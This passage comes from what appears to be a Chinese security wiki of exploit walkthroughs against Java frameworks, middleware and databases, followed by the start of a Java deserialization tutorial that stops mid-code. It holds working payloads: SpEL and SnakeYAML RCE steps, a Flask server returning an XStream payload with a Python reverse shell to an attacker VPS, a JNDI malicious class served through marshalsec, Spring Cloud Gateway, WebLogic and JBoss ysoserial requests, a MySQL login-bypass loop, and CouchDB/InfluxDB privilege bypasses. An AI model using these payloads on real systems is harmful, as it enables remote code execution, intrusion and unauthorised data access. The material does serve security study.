49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞 执行calc命令${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}\t12345678# 其中0x63,0x61,0x6c,0x63部分是calc的16进制形式# 可以使用如下脚本获取# coding: utf-8result = ""target = 'calc'for x in target: result += hex(ord(x)) + "," print(result.rstrip(',')) spring cloud SnakeYAML RCE漏洞原理 spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址 refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容 SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化 实例化类时执行恶意代码,造成 RCE 漏洞 利用条件 可以 POST 请求目标网站的 /env 接口设置属性 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖) 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 漏洞复现 托管yml和jar文件 12345# 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)# 使用 python 快速开启 http serverpython2 -m SimpleHTTPServer 80python3 -m http.server 80 在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下 设置 spring.cloud.bootstrap.location属性 刷新配置(post方式访问/refresh) eureka xstream deserialization RCEXstream 简介 XStream是一种OXMapping 技术,是用来处理XML文件序列化的框架,在将JavaBean序列化,或将XML文件反序列化的时候,不需要其它辅助类和映射文件,使得XML序列化不再繁索.XStream也可以将JavaBean序列化成Json或反序列化,使用非常方便. xStream.fromXML(xml); 漏洞原理 eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址 refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞 利用条件 可以 POST 请求目标网站的 /env 接口设置属性 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖) 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中) 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 漏洞复现 架设响应恶意 XStream payload 的网站提供一个依赖 Flask 并符合要求的python,作用是利用目标 Linux 机器上自带的 python 来反弹shell使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556#!/usr/bin/env python# coding: utf-8# -**- Author: LandGrey -**-from flask import Flask, Responseapp = Flask(__name__)@app.route('/', defaults={'path': ''})@app.route('/<path:path>', methods=['GET', 'POST'])def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/bash</string> <string>-c</string> <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString></linked-hash-set>""" return Response(xml, mimetype='application/xml')if __name__ == "__main__": app.run(host='0.0.0.0', port=80) 监听反弹 shell 的端口一般使用 nc 监听端口,等待反弹 shellnc -lvp 443 设置eureka.client.serviceUrl.defaultZone属性\tspring 1.x 1234POST /envContent-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://your-vps-ip/example spring 2.x 刷新配置(post方式访问/refresh) jolokia logback JNDI RCE ldap 注入可能会受目标 JDK 版本影响:jdk < 6u201/7u191/8u182/11.0.1 https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-windows-x64.exehttps://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-windows-x64.exe 使用 LDAP+JNDI Reference 的方式,在**JDK 11.0.1、8u191、7u201、6u211 ** 后被限制 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为 false 使用 RMI+JNDI Reference 的方式,在 JDK 6u141、7u131、8u121 及以后的版本被限制 官方将 com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase 的值设置为 false,则不能再从 codebase 中加载类了 漏洞原理 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞) xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞 利用条件 可以 POST 请求目标网站的 /env 接口设置属性 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖) 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中) 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 漏洞复现 查看已存在的 MBeans访问 /jolokia/list 或者/actuator/jolokia/list接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词 托管 xml 文件在根目录放置 example.xml 文件,内容如下: 123<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/Evil" as="appName" /></configuration> 编写恶意类 Evil.java ,并用 javac Evil.java 对恶意类进行编译成 Evil.class ,放在 VPS 上 12345public class Evil { public Evil() throws Exception{ Runtime.getRuntime().exec("calc.exe"); }} 用 python 在 VPS 上开启一个web服务,要在 Evil.class 同目录下开启web服务,让 Evil.class 和 example.xml 在 web 根目录 12python2 -m SimpleHTTPServer 8899python3 -m http.server 8899 使用 marshalsec 在 VPS 上架设一个 LDAP 服务需要将marshalsec打包成jar包再运行 1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8899/#Evil 1389 访问触发 1http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/43.138.77.252:8899!/example.xml Spring-Cloud-GateWay(cve-2022-22947)利用条件 Spring Cloud Gateway 3.1.x < 3.1.1、Spring Cloud Gateway < 3.0.7 Actuator 存在 gateaway 接口, 且可post添加route 可进行refresh刷新 漏洞复现 存在gateway接口http://192.168.164.128:55000/actuator 添加route 1234567891011121314151617181920212223242526POST /actuator/gateway/routes/new_test HTTP/1.1Host: 192.168.164.128:55000User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeContent-Type: application/jsonContent-Length: 322{ "id": "test", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/new_test"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec(\\"curl duvc3b.dnslog.cn\\")}" }}], "uri": "http://127.0.0.1:9999"}] 接口refresh 1234567891011POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.164.128:55000User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 0 命令执行结果 中间件Weblogic未授权RCE(CVE-2019-2725)https://vulfocus.cn/#/loginhttps://vulfocus.cn/#/login 利用条件 weblogic 10.x、weblogic 12.1.3 存在/_async/AsyncResponseService接口 漏洞复现 访问/_async/AsyncResponseService接口,存在如下页面,即存在漏洞 attck-命令执行 123456789101112131415161718192021222324<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>ping tdjmtv.dnslog.cn</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> 修复建议 升级本地JDK环境 及时安装官方补丁 https://www.cnblogs.com/confidant/p/15464877.htmlhttps://www.cnblogs.com/confidant/p/15464877.html Jboss未授权(CVE-2017-12149)利用条件 5.x和6.x版本的JBOSS invoker/readonly接口未做限制或过滤(一般该路径回显500) 漏洞复现 访问/invoker/readonly 在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码 文件路径是:server\\all\\deploy\\httpha-invoker.sar\\invoker.war\\WEB-INF\\classes\\org\\jboss\\invocation\\http\\servlet,在这个路径下的ReadOnlyAccessFilter.class中. 把这个class扔到IDEA中查看源码,发现这个过滤器在做过滤的时候没有做任何的校验,导致恶意用户在直接访问这个接口去POST数据的时候(看63行之前的代码)服务器得到输入流,对输入流进行对象化,执行数据流中的对象 生成序列化数据java -jar ysoserial-all.jar CommonsCollections6 "ping lensx0.dnslog.cn" > poc.ser 发送序列化数据 curl http://192.168.164.128:8080/invoker/readonly --data-binary @poc.ser BP发送数据 attck-success 数据库未授权Mysql 身份认证绕过漏洞(CVE-2012-2122)当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的.也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库. 1for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done Influxdb未授权 influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式.在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句. 利用条件 InfluxDB < 1.7.6 漏洞复现访问http://192.168.164.128:8086/debug/vars即可查看一些服务信息,但此时POST访问query执行SQL语句则会出现401错误 我们借助https://jwt.io/来生成jwt token { "alg": "HS256", "typ": "JWT" } { "username": "admin", "exp": 1676346267 } 发送带有这个jwt token的数据包,可见SQL语句执行成功 MongoDB未授权 MongoDB服务开启时不加任何参数,默认是没有开启认证的,攻击者通过默认端口(27017),无需密码就能远程登录,连接数据库进行任何操作. CouchDB Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”.它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库. CouchDB默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能.其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问 影响版本:小于 1.7.0 以及 小于 2.1.1 漏洞复现 首先,发送如下数据包可见,返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理员才能设置Role角色: 1234567891011121314151617PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host: 192.168.164.128:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeCache-Control: max-age=0Content-Length: 80{"type":"user","name":"vulhub","roles":["_admin"],"password":"vulhub"} 发送包含两个roles的数据包,即可绕过限制: 12345678910111213141516PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host: 192.168.164.128:5984Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 108{ "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub"}"},{"title":"十五. Java反序列化","path":"/wiki/VulnerabilityInsightDocs/十五. Java反序列化.html","content":"总字符数: 43.29K 代码: 22.57K, 文本: 7.76K 预计阅读时间: 2.20 小时 什么是序列化和反序列化 在编程语言的世界当中,常常有这样的需求,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中.为了满足这种需求,就有了所谓的序列化和反序列化 序列化:将内存中的某个对象压缩成字节流的形式 反序列化:将字节流转化成内存中的对象 为什么会产生安全问题? 只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力. 可能的形式 入口类的readObject直接调用危险方法 入口类参数中包含可控类,该类有危险方法,readObject时调用 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用 比如类型定义为Object,调用equals/hashcode/toString相同类型 同名函数 构造函数/静态代码块等类加载时隐式执行 JAVA原生反序列化漏洞成因 Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码 Java序列化和反序列化基础需要跳出PHP反序列化的思想在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流序列化/反序列化是一种思想,并不局限于其实现的形式如: JAVA内置的writeObject()/readObject() JAVA内置的XMLDecoder()/XMLEncoder XStream SnakeYaml FastJson Jackson 出现过漏洞的组件 Apache Shiro Apache Axis Weblogic Jboss Fastjson Java中的命令执行 12345678910public static void main() throws Exception{ Runtime.getRuntime().exec("calc"); /* Java中执行系统命令使用java.lang.Runtime类的exec方法 以上函数可以弹出计算器 getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等) exec底层为ProcessBuilder:此类用于创建操作系统进程 每个ProcessBuilder实例管理进程属性的集合. start()方法使用这些属性创建一个新的Process实例. start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程. */} 注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持 1bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i} 编写一个可以序列化的类在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable接口 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364/* * @Author: Kill3r * @Date: 2022-10-03 15:57:25 * @LastEditors: Kill3r * @LastEditTime: 2022-10-04 14:25:05 * @Description: 请填写简介 */package serializable;import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;/* * implements Serializable:序列化的前提,需要实现这个接口 * Serializable:表示这个类的成员可以被序列化 */public class Person implements Serializable { private static final long serialVersionUID = 1L; // 添加一个 transient 关键字,则name属性不会被序列化和反序列化 // 如果将属性设置为static,同样不会被序列化和反序列化 // private transient String name; public String name; private int age; public Person(){ } public Person(String name, int age) { this.name = name; this.age = age; } /* * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口 * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记 * @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处: * 1. 可以当注释用,方便阅读 * 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错 * 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法) * 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误 */ @Override public String toString() { return "Person{" + "name='" + name + '\\'' + ",age=" + age + '}'; } private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException { /* * java.io.ObjectInputStream.defaultReadObject() * 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助. * 如果它被调用,则会抛出NotActiveException */ objectInputStream.defaultReadObject(); /* * 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得. */ /* * exec:在具有指定环境的单独进程中执行指定的字符串命令. * 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 . */ Runtime.getRuntime().exec("calc"); }} 我们跟进java.io.Serializable接口,发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了 12public interface Serializable{} 如何序列化类Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可 12345678910111213141516171819202122232425262728293031323334353637383940/* * @Author: Kill3r * @Date: 2022-10-03 15:56:26 * @LastEditors: Kill3r * @LastEditTime: 2022-10-04 10:19:15 * @Description: 请填写简介 */package serializable;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class Serializable { public static void serializable(Object person) throws IOException { /* * ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构) * 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象. */ /* * 文件输出流是用于将数据写入到输出流File或一个FileDescriptor * .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream * (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败. * FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter . */ // 序列化的类 ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser")); /* * 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流. * 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同. */ // 需要序列化的对象是谁? obj.writeObject(person); obj.close(); } public static void main(String[] args) throws Exception{ Person person = new Person("JiangJiYue", 22); serializable(person); }} 跟进writeObject函数,我们通过阅读他的注释可知:在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable接口) 如何反序列化类序列化使用ObjectOutPutStream类,反序列化使用的则是ObjectInputStream类的readObject方法.我们在之前重写了readObject方法,所以会执行命令 123456789101112131415161718192021222324252627282930313233343536373839/* * @Author: Kill3r * @Date: 2022-10-03 15:57:52 * @LastEditors: Kill3r * @LastEditTime: 2022-10-04 10:23:07 * @Description: 请填写简介 */package serializable;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class Unserializable { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { /* * ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象. * ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序. * ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数. * ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类. * 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象. */ // 反序列化的类 ObjectInputStream ins = new ObjectInputStream((new FileInputStream(Filename))); /* * 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象. * 读取时,需要将其转换为预期类型. */ // 读出来并反序列化 Object obj = ins.readObject(); ins.close(); return obj; } public static void main(String[] args) throws Exception { Person person = (Person) unserialize("ser.ser"); System.out.println(person); }} 其实反序列化的实现就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理 serialVersionUID 序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套 同样在Java中与协议相对的概念为:serialVersionUID 当serialVersionUID不一致时,反序列化会直接抛出异常 比如设置为1L时序列化,修改为2L时反序列化,则会抛出异常 跟进代码可以发现,针对序列化数据中的serialVersionUID和实际获取到类的serialVersionUID进行了判断,如果不相等则抛出异常 Java反射 将类的各个组成部分封装为其他对象,这就是反射机制 反射的作用 让Java具有动态性 修改已有对象的属性 动态生成对象 动态调用方法 操作内部类和私有方法 解耦,提高程序的可扩展性 在反序列化漏洞中的应用 定制需要的对象 通过invoke调用除了同名函数以外的函数 通过Class类创建对象,引入不能序列化的类 获取字节码Class对象的三种方式 Source源代码阶段:Class.forName("全类名"); 将字节码文件加载进内存,返回Class对象多用于配置文件,可以将类名定义在配置文件中,读取文件,加载类 Class类对象阶段:类名.class 通过类名的属性class来获取多用于参数的传递 Runtime运行时阶段:对象.getClass getClass()方法在Object类中定义着多用于对象的获取字节码的方式 *同一个字节码文件(.class)在一次程序运行过程中,只会被加载一次,不论通过哪一种方式获取的Class对象都是同一个 ** Class对象Field获取成员变量们 Field[] fields = getFields()获取所有public修饰的成员变量 Field field = getField(String name)获取所有public修饰的成员变量 Field[] fields = getDeclaredFields()获取所有的成员变量 Field field = getDeclaredField(String name)获取所有的成员变量 操作 获取值:get(Object obj) 12345678910111213141516171819package serializable;import java.lang.reflect.Constructor;import java.lang.reflect.Field;public class ReflectionTest { public static void main(String[] args) throws Exception { Class cls = Class.forName("serializable.Person"); //当我不想 newInstance初始化的时候执行空参数的构造函数的时候 //可以通过字节码文件对象方式 getConstructor(paramterTypes) 获取到该构造函数 //获取到Person(String name,int age) 构造函数 // 从class里面实例化对象 Constructor personconstructor = cls.getConstructor(String.class,int.class); //通过构造器对象 newInstance 方法对对象进行初始化 有参数构造函数 Person p = (Person) personconstructor.newInstance("abc",22); Field name = cls.getField("name"); System.out.println(name.get(p)); }} 私有的会访问异常,需要在访问之前忽略访问权限修饰符的安全检查 1234Field age = cls.getDeclaredField("age");// 忽略安全检查又称为暴力反射age.setAccessible(true);System.out.println(age.get(p)); 设置值:void set(Object obj,Object value) 12name.set(p,"张三");System.out.println(p); Constructor获取构造方法们 Constructor<?>[] = getConstructors() Constructor<T> = getConstructor(类<?>...parameterTypes) Constructor:构造方法 newInstance(Object... initargs):创建对象Person p = (Person) personconstructor.newInstance("abc",22); 12Constructor personconstructor = cls.getConstructor(String.class,int.class);System.out.println(personconstructor); 如果使用空参构造方法创建对象,操作可以简化:Class对象的newInstance 123Class cls = Class.forName("serializable.Person");Object o = cls.newInstance();System.out.println(o); Constructor<?>[] = getDeclaredConstructors() Constructor<T> = getDeclaredConstructor(类<?>...parameterTypes) Method获取成员方法们 Method[] = getMethods() Method = getMethod(类<?>...parameterTypes) 123456Class cls = Class.forName("serializable.Person");// 获取指定名称Method eat_method = cls.getMethod("eat");Object p = cls.newInstance();// 执行方法eat_method.invoke(p); Method[] = getDeclaredMethods() Method = getDeclaredMethod(类<?>...parameterTypes) 获取方法名称:String getName 12345Class cls = Class.forName("serializable.Person");Method[] methods = cls.getMethods();for (Method method:methods){ System.out.println(method.getName());} 获取类名 String name = getName() 123Class cls = Class.forName("serializable.Person");String className = cls.getName();System.out.println(className); 案例 写一个”框架”,可以帮我们创建任意类的对象,并且执行其中任意方法 123456789101112131415161718192021222324252627282930313233343536373839404142434445/* * @Author: Kill3r * @Date: 2022-10-04 14:11:43 * @LastEditors: Kill3r * @LastEditTime: 2022-10-04 16:08:53 * @Description: 请填写简介 */package serializable;import java.io.InputStream;import java.lang.reflect.Method;import java.util.Properties;public class ReflectionTest { public static void main(String[] args) throws Exception { /* * 前提:不能改变该类的任何代码,可以创建任意类的对象,可以执行任意方法 * 步骤: * 1. 将需要创建的对象的全类名和需要执行的方法定义在配置文件中 * 2. 在程序中加载读取配置文件 * 3. 使用反射技术来加载类文件进内存 * 4. 创建对象 * 5. 执行方法 * */ // 1.1创建Properties对象 Properties pro = new Properties(); // 1.2加载配置文件,转换为一个集合 // 1.2.1获取class目录下的配置文件 ClassLoader classLoader = ReflectionTest.class.getClassLoader(); InputStream is = classLoader.getResourceAsStream("serializable/pro.properties"); pro.load(is); // 2.获取配置文件中定义的数据 String className = pro.getProperty("className"); String methodName = pro.getProperty("methodName"); // 3.加载该类进内存 Class cls = Class.forName(className); // 4.创建对象 Object obj = cls.newInstance(); // 5.获取方法对象 Method method = cls.getMethod(methodName); // 6.执行方法 method.invoke(obj); }} pro.properties: 12className=serializable.PersonmethodName=eat Java代理 定义:为其他对象提供一种代理以控制对这个对象的访问 代理模式是一种设计模式,可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强,之得注意的是:代理类和被代理类应该共同实现一个接口,或者是共同继承某个类 优点: 职责清晰 高扩展,只要实现了接口,都可以使用代理 智能化,动态代理、 分类 静态代理 动态代理 代理常用与记录日志的环境,比如在代理中实现各种日志的记录 静态代理我们现在有一个接口:IUser``IUser.java: 123456789101112/* * @Author: Kill3r * @Date: 2022-10-11 19:40:35 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 19:40:36 * @Description: 请填写简介 */package java_proxy;public interface IUser { void show();} 然后Userlmpl.java实现这个接口 12345678910111213141516171819/* * @Author: Kill3r * @Date: 2022-10-11 19:42:01 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 19:43:35 * @Description: 请填写简介 */package java_proxy;public class Userlmpl implements IUser{ public Userlmpl() { } @Override // @Override是伪代码,表示重写 public void show() { System.out.println("展示"); }} 假设我们现在要做一件事,就是在所有的实现类调用show()后增加一行输出调用了UserProxy中的show,那我们只需要编写代理类UserProxy 123456789101112131415161718192021222324/* * @Author: Kill3r * @Date: 2022-10-11 19:45:45 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 19:46:53 * @Description: 请填写简介 */package java_proxy;public class UserProxy implements IUser{ IUser user; public UserProxy() { } public UserProxy(IUser user) { this.user = user; } @Override public void show() { user.show(); System.out.println("调用了UserProxy中的show"); }} ProxyTest.java 123456789101112131415161718192021/* * @Author: Kill3r * @Date: 2022-10-11 19:44:01 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 20:25:55 * @Description: 请填写简介 */package java_proxy;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;public class ProxyTest { public static void main(String[] args) { IUser user = new Userlmpl(); // 静态代理 IUser userProxy = new UserProxy(user); userProxy.show(); }} 这种模式虽然好理解,但是缺点也很明显: 会存在大量的冗余的代理类,这里演示了1个接口,如果有10个接口,就必须定义10个代理类. 不易维护,一旦接口更改,代理类和目标类都需要更改. 动态代理 JDK动态代理,通俗点说就是:无需声明式的创建java代理类,而是在运行过程中生成”虚拟”的代理类,被ClassLoader加载.从而避免了静态代理那样需要声明大量的代理类. JDK从1.3版本就开始支持动态代理类的创建.主要核心类只有2个:java.lang.reflect.Proxy和java.lang.reflect.InvocationHandler. JDK动态代理采用接口代理的模式,代理对象只能赋值给接口,允许多个接口 还是前面那个例子,用动态代理类去实现的代码如下:Userlmpl.java 12345678910111213141516171819/* * @Author: Kill3r * @Date: 2022-10-11 19:42:01 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 19:43:35 * @Description: 请填写简介 */package java_proxy;public class Userlmpl implements IUser{ public Userlmpl() { } @Override // @Override是伪代码,表示重写 public void show() { System.out.println("展示"); }} UserInvocationHandler.java 12345678910111213141516171819202122232425262728/* * @Author: Kill3r * @Date: 2022-10-11 20:21:22 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 20:27:17 * @Description: 请填写简介 */package java_proxy;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class UserInvocationHandler implements InvocationHandler { IUser user; public UserInvocationHandler() { } public UserInvocationHandler(IUser user) { this.user = user; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("调用了UserInvocationHandler中的show"); method.invoke(user, args); return null; }} ProxyTest.java 123456789101112131415161718192021222324/* * @Author: Kill3r * @Date: 2022-10-11 19:44:01 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 20:25:55 * @Description: 请填写简介 */package java_proxy;import java.lang.reflect.InvocationHandler;import 